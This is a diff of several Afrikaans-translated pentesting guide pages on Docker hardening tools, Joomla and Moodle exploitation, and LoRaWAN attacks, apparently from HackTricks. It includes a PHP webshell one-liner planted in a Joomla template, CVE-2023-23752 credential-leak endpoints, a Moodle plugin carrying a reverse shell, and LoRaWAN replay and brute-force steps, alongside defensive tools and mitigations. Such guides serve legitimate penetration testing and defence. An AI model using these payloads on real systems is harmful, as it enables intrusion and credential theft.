- `docker run --rm -it --pid host r.j3ss.co/amicontained`
- `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
@ -239,29 +239,29 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
#### Beveiliging van Dockerfiles
- Jy kan die hulpmiddel [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) gebruik om jou **Dockerfile** te inspekteer en alle soorte miskonfigurasies te vind. Elke miskonfigurasie sal 'n ID ontvang, jy kan hier vind [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) hoe om elkeen daarvan reg te stel.
- Jy kan die hulpmiddel [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) gebruik om **jou Dockerfile te inspekteer** en alle soorte miskonfigurasies te vind. Elke miskonfigurasie sal 'n ID ontvang, jy kan hier vind [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) hoe om elkeen daarvan reg te stel.
- `dockerfilelinter -f Dockerfile`
![](<../images/image (176).png>)
- Jy kan die hulpmiddel [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) gebruik om jou **Dockerfile** te inspekteer en alle soorte miskonfigurasies te vind.
- Jy kan die hulpmiddel [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) gebruik om **jou Dockerfile te inspekteer** en alle soorte miskonfigurasies te vind.
- `dockerfilelint Dockerfile`
![](<../images/image (212).png>)
- Jy kan die hulpmiddel [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) gebruik om jou **Dockerfile** te inspekteer en alle soorte miskonfigurasies te vind.
- Jy kan die hulpmiddel [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) gebruik om **jou Dockerfile te inspekteer** en alle soorte miskonfigurasies te vind.
- `dockerlint Dockerfile`
![](<../images/image (71).png>)
- Jy kan die hulpmiddel [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) gebruik om jou **Dockerfile** te inspekteer en alle soorte miskonfigurasies te vind.
- Jy kan die hulpmiddel [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) gebruik om **jou Dockerfile te inspekteer** en alle soorte miskonfigurasies te vind.
- `hadolint Dockerfile`
![](<../images/image (501).png>)
#### Teken van Verdagte aktiwiteit
- Jy kan die hulpmiddel [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) gebruik om **verdagte gedrag in lopende houers** te detecteer.
- Jy kan die hulpmiddel [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) gebruik om **verdagte gedrag in lopende houers te detecteer**.
- Let op in die volgende stuk hoe **Falco 'n kernmodule saamstel en dit invoeg**. Daarna laai dit die reëls en **begin om verdagte aktiwiteite te teken**. In hierdie geval het dit 2 voorregte houers opgespoor wat begin is, 1 daarvan met 'n sensitiewe monteer, en na 'n paar sekondes het dit opgemerk hoe 'n skulp binne een van die houers geopen is.
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco

View File

@ -5,7 +5,7 @@
### Joomla Statistieke
Joomla verskaf 'n paar anonieme [gebruikstatistieke](https://developer.joomla.org/about/stats.html) soos die verdeling van Joomla, PHP en databasisweergawe en bedienerbedryfstelsels wat op Joomla-installasies gebruik word. Hierdie data kan deur middel van hul openbare [API](https://developer.joomla.org/about/stats/api.html) opgevraag word.
Joomla verskaf 'n paar anonieme [gebruikstatistieke](https://developer.joomla.org/about/stats.html) soos die verdeling van Joomla, PHP en databasisweergawe en bedienerbedryfstelsels wat op Joomla-installasies gebruik word. Hierdie data kan deur middel van hul openbare [API](https://developer.joomla.org/about/stats/api.html) opgevraag.
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
@ -35,7 +35,7 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
```
## Enumerasie
### Ontdekking/Voetafdruk
### Ontdekking/Fotodruk
- Kontroleer die **meta**
```bash
@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Weergawe
@ -73,14 +73,14 @@ droopescan scan joomla --url http://joomla-site.local/
```
In[ **80,443 - Pentesting Web Metodologie is 'n afdeling oor CMS skanners**](#cms-scanners) wat Joomla kan skandeer.
### API Ongeauthentiseerde Inligtingsontsluiting:
### API Ongeoutentiseerde Inligtingsontsluiting:
Weergawes Van 4.0.0 tot 4.2.7 is kwesbaar vir ongeauthentiseerde inligtingsontsluiting (CVE-2023-23752) wat kredensiale en ander inligting sal dump.
Weergawes Van 4.0.0 tot 4.2.7 is kwesbaar vir ongeoutentiseerde inligtingsontsluiting (CVE-2023-23752) wat kredensiale en ander inligting sal dump.
- Gebruikers: `http://<host>/api/v1/users?public=true`
- Konfigurasie Lêer: `http://<host>/api/index.php/v1/config/application?public=true`
**MSF Module**: `scanner/http/joomla_api_improper_access_checks` of ruby skrip: [51334](https://www.exploit-db.com/exploits/51334)
**MSF Modul**: `scanner/http/joomla_api_improper_access_checks` of ruby skrip: [51334](https://www.exploit-db.com/exploits/51334)
### Brute-Force
@ -92,21 +92,21 @@ admin:admin
```
## RCE
As jy daarin slaag om **admin akrediteerlinge** te verkry, kan jy **RCE binne dit** verkry deur 'n snit van **PHP kode** by te voeg om **RCE** te verkry. Ons kan dit doen deur 'n **sjabloon** te **pasmaak**.
As jy daarin geslaag het om **admin akrediteer** te verkry, kan jy **RCE binne dit** verkry deur 'n snit van **PHP kode** by te voeg om **RCE** te verkry. Ons kan dit doen deur 'n **sjabloon** te **pas aan**.
1. **Klik** op **`Templates`** onderaan links onder `Configuration` om die sjabloonmenu op te roep.
1. **Klik** op **`Templates`** onderaan links onder `Configuration` om die sjablone-menu op te roep.
2. **Klik** op 'n **sjabloon** naam. Kom ons kies **`protostar`** onder die `Template` kolomkop. Dit sal ons na die **`Templates: Customise`** bladsy bring.
3. Laastens, kan jy op 'n bladsy klik om die **bladsybron** op te roep. Kom ons kies die **`error.php`** bladsy. Ons sal 'n **PHP een-liner byvoeg om kode-uitvoering te verkry** soos volg:
1. **`system($_GET['cmd']);`**
4. **Stoor & Sluit**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
## Van XSS na RCE
## From XSS to RCE
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla Exploit Skrip wat **XSS na RCE of ander kritieke kwesbaarhede verhoog**. Vir meer inligting, kyk na [**hierdie pos**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir Joomla weergawes 5.X.X, 4.X.X, en 3.X.X, en laat toe om:**
- _**Privilegie Escalatie:**_ Skep 'n gebruiker in Joomla.
- _**(RCE) Ingeboude Sjablone Wysig:**_ Wysig 'n Ingeboude Sjablone in Joomla.
- _**(Aangepas) Aangepaste Exploits:**_ Aangepaste Exploits vir Derdeparty Joomla Plugins.
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla Exploitation Script wat **XSS na RCE of ander kritieke kwesbaarhede verhoog**. Vir meer inligting, kyk na [**hierdie pos**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir Joomla weergawes 5.X.X, 4.X.X, en 3.X.X, en laat toe om:**
- _**Privilegie Escalation:**_ Skep 'n gebruiker in Joomla.
- _**(RCE) Ingeboude Sjablone Wysig:**_ Wysig 'n Ingeboude Sjabloon in Joomla.
- _**(Custom) Aangepaste Exploits:**_ Aangepaste Exploits vir Derdeparty Joomla Plugins.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
[+] Scan finished (0:00:05.643539 elapsed)
```
@ -62,7 +62,7 @@ cmsmap http://moodle.example.com/<moodle_path>
```
### CVEs
Ek het gevind dat die outomatiese gereedskap redelik **onbruikbaar is om kwesbaarhede wat die moodle weergawe raak, te vind**. Jy kan **kontroleer** daarvoor in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
Ek het gevind dat die outomatiese gereedskap redelik **onbruikbaar is om kwesbaarhede wat die moodle weergawe raak te vind**. Jy kan **kontroleer** daarvoor in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
## **RCE**
@ -70,9 +70,9 @@ Jy moet 'n **bestuurder** rol hê en jy **kan plugins installeer** binne die **"
![](<../../images/image (630).png>)
As jy 'n bestuurder is, moet jy dalk steeds hierdie **opsie aktiveer**. Jy kan sien hoe in die moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
As jy 'n bestuurder is, moet jy dalk steeds **hierdie opsie aktiveer**. Jy kan sien hoe in die moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Dan kan jy die **volgende plugin installeer** wat die klassieke pentest-monkey php r**ev shell** bevat (_voor jy dit op laai, moet jy dit dekomprimeer, die IP en poort van die revshell verander en dit weer komprimeer_)
Dan kan jy **die volgende plugin installeer** wat die klassieke pentest-monkey php r**ev shell** bevat (_voor jy dit op laai, moet jy dit dekomprimeer, die IP en poort van die revshell verander en dit weer komprimeer_)
{{#file}}
moodle-rce-plugin.zip
@ -80,7 +80,7 @@ moodle-rce-plugin.zip
Of jy kan die plugin van [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) gebruik om 'n gewone PHP shell met die "cmd" parameter te kry.
Om die kwaadwillige plugin te lanseer, moet jy toegang tot:
Om die kwaadwillige plugin te lanseer, moet jy toegang verkry tot:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```

View File

@ -1,13 +1,13 @@
# Lae-Power Wye Area Netwerk
# Lae-Power Wye Area Network
{{#include ../../banners/hacktricks-training.md}}
## Inleiding
**Lae-Power Wye Area Netwerk** (LPWAN) is 'n groep draadlose, lae-power, wye-area netwerk tegnologieë wat ontwerp is vir **langafstand kommunikasie** teen 'n lae bietempo.
**Lae-Power Wye Area Network** (LPWAN) is 'n groep draadlose, lae-krag, wye-area netwerk tegnologieë wat ontwerp is vir **langafstand kommunikasie** teen 'n lae bitoordragspoed.
Hulle kan meer as **ses myl** bereik en hul **batterye** kan tot **20 jaar** hou.
Long Range (**LoRa**) is tans die mees ontplooide LPWAN fisiese laag en sy oop MAC-laag spesifikasie is **LoRaWAN**.
Long Range (**LoRa**) is tans die mees toegepaste LPWAN fisiese laag en sy oop MAC-laag spesifikasie is **LoRaWAN**.
---
@ -28,14 +28,14 @@ Long Range (**LoRa**) is tans die mees ontplooide LPWAN fisiese laag en sy oop M
| PHY | Reaktiewe / selektiewe jamming | 100 % pakketverlies gedemonstreer met 'n enkele SDR en <1 W uitset |
| MAC | Join-Accept & data-raam herhaling (nonce hergebruik, ABP teenrol) | Toestel spoofing, boodskap inspuiting, DoS |
| Netwerk-Bediener | Onveilige pakket-voorwaarts, swak MQTT/UDP filters, verouderde gateway firmware | RCE op gateways → pivot in OT/IT netwerk |
| Toepassing | Hard-gecodeerde of voorspelbare AppKeys | Brute-force/dekripteer verkeer, doen asof sensors |
| Toepassing | Hard-gecodeerde of voorspelbare AppKeys | Brute-force/dekripteer verkeer, verpersoonlik sensors |
---
## Onlangse kwesbaarhede (2023-2025)
* **CVE-2024-29862** *ChirpStack gateway-bridge & mqtt-forwarder* het TCP-pakkette aanvaar wat stateful firewall reëls op Kerlink gateways omseil, wat afstandsbestuurder blootstelling moontlik gemaak het. Reggestel in 4.0.11 / 4.2.1 onderskeidelik.
* **Dragino LG01/LG308 reeks** Meerdere 2022-2024 CVEs (bv. 2022-45227 gids traversering, 2022-45228 CSRF) steeds waargeneem onopgelos in 2025; stel ongeverifieerde firmware dump of konfigurasie oorskry op duisende openbare gateways.
* **CVE-2024-29862** *ChirpStack gateway-bridge & mqtt-forwarder* het TCP-pakkette aanvaar wat stateful firewall reëls op Kerlink gateways omseil, wat afstandsbestuur koppelvlak blootstelling moontlik gemaak het. Reggestel in 4.0.11 / 4.2.1 onderskeidelik.
* **Dragino LG01/LG308 reeks** Meerdere 2022-2024 CVEs (bv. 2022-45227 gids traversering, 2022-45228 CSRF) steeds waargeneem onopgelos in 2025; stel nie-geverifieerde firmware dump of konfigurasie oorskry op duisende openbare gateways in.
* Semtech *pakket-voorwaarts UDP* oorgeloop (nie vrygestel advies, reggestel 2023-10): vervaardigde uplink groter as 255 B het stapel-slaan geaktiveer > RCE op SX130x verwysingsgateways (gevind deur Black Hat EU 2023 “LoRa Exploitation Reloaded”).
---
@ -54,7 +54,7 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
### 2. OTAA join-replay (DevNonce hergebruik)
1. Capture 'n legitieme **JoinRequest**.
2. Hertransmit dit onmiddellik (of verhoog RSSI) voordat die oorspronklike toestel weer transmit.
2. Hertransmit dit onmiddellik (of verhoog RSSI) voordat die oorspronklike toestel weer transmet.
3. Die netwerk-bediener toeken 'n nuwe DevAddr & sessiesleutels terwyl die teiken toestel met die ou sessie voortgaan → aanvaller besit 'n vakante sessie en kan vervalste uplinks inspuit.
### 3. Aanpasbare Data-Tempo (ADR) afgrading
@ -71,8 +71,8 @@ Force SF12/125 kHz om lugtyd te verhoog → verbruik die pligsyklus van die gate
| Tool | Doel | Aantekeninge |
|------|---------|-------|
| **LoRaWAN Auditing Framework (LAF)** | Skep/parse/aanval LoRaWAN rame, DB-ondersteunde ontleders, brute-forcer | Docker beeld, ondersteun Semtech UDP inset |
| **LoRaPWN** | Trend Micro Python nut om OTAA te brute, genereer aflaai, dekripteer payloads | Demo vrygestel 2023, SDR-agnosties |
| **LoRaWAN Auditing Framework (LAF)** | Skep/parse/aanval LoRaWAN rame, DB-ondersteunde ontleders, brute-forcer | Docker beeld, ondersteun Semtech UDP invoer |
| **LoRaPWN** | Trend Micro Python nut om OTAA te brute, genereer afladings, dekripteer payloads | Demo vrygestel 2023, SDR-agnosties |
| **LoRAttack** | Multi-kanaal sniffer + replay met USRP; voer PCAP/LoRaTap uit | Goeie Wireshark integrasie |
| **gr-lora / gr-lorawan** | GNU Radio OOT blokke vir basisband TX/RX | Grondslag vir pasgemaakte aanvalle |
@ -84,12 +84,12 @@ Force SF12/125 kHz om lugtyd te verhoog → verbruik die pligsyklus van die gate
2. Handhaaf **LoRaWAN 1.1**: 32-bis rame tellers, unieke FNwkSIntKey / SNwkSIntKey.
3. Stoor rame-teller in nie-vlugtige geheue (**ABP**) of migreer na OTAA.
4. Ontplooi **secure-element** (ATECC608A/SX1262-TRX-SE) om wortelsleutels teen firmware-uitkapping te beskerm.
5. Deaktiveer afstand UDP-pakket-voordeur poorte (1700/1701) of beperk met WireGuard/VPN.
5. Deaktiveer afstand UDP-pakket-forwarder poorte (1700/1701) of beperk met WireGuard/VPN.
6. Hou gateways opgedateer; Kerlink/Dragino bied 2024-gepatchte beelde.
7. Implementeer **verkeersanomalie-detektering** (bv. LAF ontleder) merk teenstellingsherinstellings, duplikaat joins, skielike ADR veranderinge.
7. Implementeer **verkeersanomalie-detektering** (bv. LAF ontleder) merk teenstellingsherinstellings, duplikaat aansluitings, skielike ADR veranderinge.
## References
* LoRaWAN Auditing Framework (LAF) https://github.com/IOActive/laf
* Trend Micro LoRaPWN oorsig https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
* LoRaWAN Auditing Framework (LAF) [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
* Trend Micro LoRaPWN oorsig [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
{{#include ../../banners/hacktricks-training.md}}